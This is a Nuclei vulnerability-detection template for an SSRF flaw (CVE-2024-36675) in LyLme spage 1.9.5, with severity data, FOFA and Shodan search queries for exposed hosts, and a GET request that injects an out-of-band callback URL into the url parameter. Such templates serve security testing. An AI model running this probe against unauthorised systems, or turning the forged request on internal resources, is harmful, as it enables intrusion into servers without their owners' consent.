id: CVE-2024-36675

info:
  name: LyLme spage v1.9.5 - Server-Side Request Forgery
  author: ritikchaddha
  severity: high
  description: |
    LyLme spage v1.9.5 is vulnerable to server-side request forgery (SSRF) via the url parameter in apply/index.php. An attacker can force the server to make arbitrary requests, potentially accessing internal resources.
  reference:
    - https://github.com/Hebing123/cve/issues/44
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36675
  classification:
    epss-score: 0.14377
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-36675
    cwe-id: CWE-918
    cpe: cpe:2.3:a:lylme:lylme_spage:1.9.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: lylme
    product: lylme_spage
    fofa-query: title="LyLme Spage"
    shodan-query: http.favicon.hash:-282504889
  tags: cve,cve2024,ssrf,lylme,spage,oast,oob

http:
  - method: GET
    path:
      - "{{BaseURL}}/apply/index.php?url=http://{{interactsh-url}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "http")'
          - 'contains_all(body, "title\":", "icon\":")'
          - 'contains(content_type, "application/json")'
        condition: and
# digest: 4a0a004730450220701d44a84f173c18e275b0430700e6725b6fa6c01bce221169a2802ece4ab281022100ed5ff43d6e4d4018109d18d0e05daa1dbc262f356f8fbb1fa47b437ca9a9dfbd:922c64590222798bb761d5b6d8e72950